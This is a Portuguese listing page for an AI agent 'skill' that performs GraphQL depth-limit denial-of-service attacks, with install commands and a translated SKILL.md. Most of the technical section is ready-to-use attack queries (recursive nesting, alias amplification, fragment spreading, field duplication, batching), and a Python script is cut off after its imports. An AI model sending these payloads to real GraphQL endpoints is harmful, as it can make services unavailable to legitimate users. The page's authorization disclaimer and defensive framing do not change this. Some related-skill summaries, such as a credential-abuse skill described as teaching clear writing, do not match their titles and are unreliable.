performing-graphql-depth-limit-attack
Faz seu agente testar ataques de negação de serviço em APIs GraphQL usando consultas recursivas profundas.
O que ela faz
Esta ferramenta ajuda a testar a segurança de sistemas que usam GraphQL. Ela envia consultas criadas para sobrecarregar o servidor, procurando por falhas que podem causar lentidão ou indisponibilidade.
Quando usar
- ✓Ao verificar a segurança de um site ou aplicativo.
- ✓Durante uma investigação de incidente de segurança.
- ✓Ao realizar testes de segurança programados.
Exemplo do que pedir para a IA
“Teste a segurança do meu sistema GraphQL no endereço http://exemplo.com/graphql com consultas que podem sobrecarregar o servidor.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta envia consultas GraphQL especialmente elaboradas, que se repetem muitas vezes ou pedem muitos dados. Isso força o servidor a trabalhar muito, revelando se ele tem fraquezas.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-graphql-depth-limit-attackOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-graphql-depth-limit-attack/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Realizando Ataque de Limite de Profundidade GraphQL
Visão Geral
Ataques de limite de profundidade GraphQL exploram a natureza recursiva dos esquemas GraphQL para criar consultas profundamente aninhadas que consomem recursos excessivos do servidor, levando à negação de serviço. Ao contrário das APIs REST com endpoints fixos, o GraphQL permite que os clientes solicitem estruturas de dados arbitrárias. Quando os esquemas contêm relacionamentos circulares (por exemplo, Usuário -> Posts -> Autor -> Posts), os atacantes podem criar consultas que recursam indefinidamente, sobrecarregando a CPU, memória, conexões de banco de dados e largura de banda de rede do servidor.
Quando Usar
- Ao realizar avaliações de segurança que envolvem a execução de ataques de limite de profundidade GraphQL.
- Ao seguir procedimentos de resposta a incidentes para eventos de segurança relacionados.
- Ao realizar testes ou atividades de auditoria de segurança agendadas.
- Ao validar controles de segurança por meio de testes práticos.
Pré-requisitos
- Endpoint da API GraphQL de destino com introspecção habilitada ou esquema conhecido.
- Ferramentas de cliente GraphQL (GraphiQL, Altair, Insomnia ou curl).
- Python 3.8+ com a biblioteca
requestspara testes automatizados. - Burp Suite ou mitmproxy para análise de tráfego.
- Autorização para realizar testes de segurança no alvo.
Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.
Técnicas Principais de Ataque
1. Ataque de Profundidade Recursiva
Quando um esquema GraphQL possui relacionamentos bidirecionais, as consultas podem referenciá-los recursivamente:
# Schema with circular reference:
# type User { posts: [Post] }
# type Post { author: User }
# Attack query with excessive nesting depth
query DepthAttack {
users {
posts {
author {
posts {
author {
posts {
author {
posts {
author {
posts {
author {
posts {
title
author {
name
}
}
}
}
}
}
}
}
}
}
}
}
}
}
2. Amplificação Baseada em Aliases
Quando consultas em lote são bloqueadas, os aliases podem multiplicar a mesma solicitação de campo dentro de uma única consulta:
query AliasAmplification {
a1: user(id: 1) { posts { author { name } } }
a2: user(id: 1) { posts { author { name } } }
a3: user(id: 1) { posts { author { name } } }
a4: user(id: 1) { posts { author { name } } }
a5: user(id: 1) { posts { author { name } } }
a6: user(id: 1) { posts { author { name } } }
a7: user(id: 1) { posts { author { name } } }
a8: user(id: 1) { posts { author { name } } }
a9: user(id: 1) { posts { author { name } } }
a10: user(id: 1) { posts { author { name } } }
}
3. Ataque de Propagação de Fragmentos
Fragmentos podem ser usados para construir consultas complexas e profundamente aninhadas de forma mais eficiente:
fragment UserFields on User {
name
email
posts {
title
comments {
body
author {
...NestedUser
}
}
}
}
fragment NestedUser on User {
name
posts {
title
author {
name
posts {
title
author {
name
}
}
}
}
}
query FragmentAttack {
users {
...UserFields
}
}
4. Ataque de Duplicação de Campo
Repetir o mesmo campo várias vezes dentro de um conjunto de seleção aumenta o processamento:
query FieldDuplication {
user(id: 1) {
posts { title }
posts { title }
posts { title }
posts { title }
posts { title }
posts { title }
posts { title }
posts { title }
posts { title }
posts { title }
}
}
5. Ataque de Consulta em Lote
Enviando várias consultas em uma única solicitação HTTP:
[
{"query": "{ users { posts { author { name } } } }"},
{"query": "{ users { posts { author { name } } } }"},
{"query": "{ users { posts { author { name } } } }"},
{"query": "{ users { posts { author { name } } } }"},
{"query": "{ users { posts { author { name } } } }"}
]
Script de Teste Automatizado
#!/usr/bin/env python3
"""Ferramenta de Teste de Ataque de Limite de Profundidade GraphQL
Testa endpoints GraphQL para vulnerabilidades de limite de profundidade
enviando consultas aninhadas progressivamente mais profundas.
"""
import requests
import time
import json
…
Perguntas frequentes
O que é GraphQL?
GraphQL é uma forma de pedir dados de um servidor. Ao contrário de métodos mais antigos, ele permite que você peça exatamente o que precisa, mas isso também pode ser explorado se não for bem controlado.
O que é um ataque de negação de serviço (DoS)?
É um ataque que visa tornar um serviço (como um site ou aplicativo) indisponível para usuários legítimos, sobrecarregando-o com tráfego ou solicitações.
Preciso saber programar para usar isso?
Não é necessário saber programar. A ferramenta é usada para testar a segurança, e você pode pedir a um especialista para executá-la ou usar as instruções fornecidas.
Detalhes
Descrição original do autor
Execute and test GraphQL depth limit attacks using deeply nested recursive queries to identify denial-of-service vulnerabilities in GraphQL APIs.
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #6073
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
cpp-testing
Faz seu agente escrever e melhorar testes para código C++. Ajuda a configurar ferramentas de teste e a corrigir erros.
affaan-m/ECC
csharp-testing
Ajuda seu agente a criar testes para código C# e .NET. Ele usa as melhores práticas para garantir que os testes sejam eficientes e confiáveis.
affaan-m/ECC
django-tdd
Faz seu agente aplicar estratégias de teste para Django com pytest-django e TDD. É útil para escrever testes robustos e garantir a qualidade do código, especialmente para APIs DRF.
affaan-m/ECC